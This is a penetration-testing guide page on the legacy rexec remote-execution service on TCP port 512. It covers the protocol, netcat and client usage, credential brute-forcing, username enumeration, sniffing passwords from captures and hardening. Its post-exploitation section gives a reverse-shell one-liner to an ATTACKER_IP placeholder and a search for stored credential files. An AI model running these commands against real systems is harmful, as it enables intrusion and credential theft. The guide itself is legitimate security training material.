512 - Pentesting Rexec
Basic Information
Rexec (remote exec) belongs to the classic Berkeley r-services family alongside rlogin and rsh. It provides remote command execution authenticated with a clear-text username and password. TCP port 512 is registered as the exec service, and GNU Inetutils documents the byte-level exchange implemented by rexecd.[1][3] The protocol is insecure on untrusted networks but still appears on legacy UNIX and embedded equipment.
Default Port: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 All traffic – including credentials – is transmitted unencrypted. Anyone with the ability to sniff the network can recover the username, password and command.
Protocol quick-look
- Client connects to TCP 512.
- Client sends three NUL-terminated strings:
- the port number (as ASCII) where it wishes to receive stdout/stderr (often
0), - the username,
- the password.
- the port number (as ASCII) where it wishes to receive stdout/stderr (often
- A final NUL-terminated string with the command to execute is sent.
- The server returns a NUL status byte on successful setup. GNU
rexecdprefixes diagnostic failures with byte value1; stdout then uses the initial connection and an optional secondary connection carries stderr.[1]
If the first field is non-zero, the server opens a second TCP connection back to the client and uses it for stderr. This is useful both for manual testing and for fingerprinting filtering / firewall issues around the service.
That means you can reproduce the exchange with nothing more than echo -e and nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
If the credentials are valid you will receive the output of id straight back on the same connection.
If you want to receive stderr on a dedicated listener, ask the server to connect back to you:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Many common implementations (for example GNU rexecd) still enforce 16-byte username/password fields and return different diagnostic strings for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.[1]
Manual usage with the client
Many Linux distributions still ship the legacy client inside the inetutils-rexec / rsh-client package:[1]
rexec -l user -p password <target> "uname -a"
If -p is omitted the client will prompt interactively for the password (visible on the wire in clear-text!).
To avoid leaving the password in your shell history / process list, GNU rexec also supports reading it from stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
This is not safer on the network; it only reduces local exposure on the attacking host.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
The rexec-brute NSE uses the protocol described above to try credentials very quickly.[2]
Hydra / Medusa
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
medusa -h <target> -U users.txt -P passwords.txt -M rexec
hydra has a dedicated rexec module. Medusa’s upstream source also includes rexec.mod; verify that the locally packaged build exposes it with medusa -d before a long run.[5] These are online authentication attacks, so use conservative concurrency and honor the engagement’s lockout and availability constraints.
Username enumeration through server messages
Some rexecd implementations expose distinct errors such as Login incorrect. vs Password incorrect.. If you see this behavior, validate usernames first and only then brute force passwords:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
If the messages differ, build a valid-user list before sending a large password spray.
Check sibling r-services
rexec itself uses password authentication, unlike rsh / rlogin trusted-host logic, but in practice they often arrive from the same legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). If TCP 512 is open, immediately check TCP 513 and 514 as well because .rhosts / /etc/hosts.equiv abuse may offer easier lateral movement:
nmap -sV -p 512,513,514 <target>
See also:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
The module opens a command session on success and stores validated credentials in the Metasploit database.[4]
Sniffing credentials
Because everything is clear text, a capture from an authorized monitoring point can reveal credentials and commands without sending additional traffic to the target. The simple command below works when TShark exposes a decoded data field; otherwise, follow the TCP stream or export tcp.payload and decode its hex bytes.
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC to view nicely-parsed fields.)
Post-Exploitation tips
- Commands run with the privileges of the authenticated user. Audit
/etc/pam.d/rexecwhere the daemon was built with PAM support; a permissive PAM stack can weaken the intended account policy.[1] - GNU
rexecdpasses the command to the user’s configured login shell. Shell metacharacters may therefore chain commands or launch a reverse shell when that shell supports them:[1]rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' - Passwords are often stored in
~/.netrcor legacy automation scripts on other systems; if you compromise one host you may reuse them for lateral movement:find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Hardening / Detection
- Do not expose rexec; replace it with SSH. Virtually all modern inetd superservers comment the service out by default.
- If you must keep it, restrict access with TCP wrappers (
/etc/hosts.allow) or firewall rules and enforce strong per-account passwords. - Monitor for traffic to :512 and for
rexecdprocess launches. A single packet capture is enough to detect a compromise. - Disable
rexec,rlogin,rshtogether – they share most of the same codebase and weaknesses.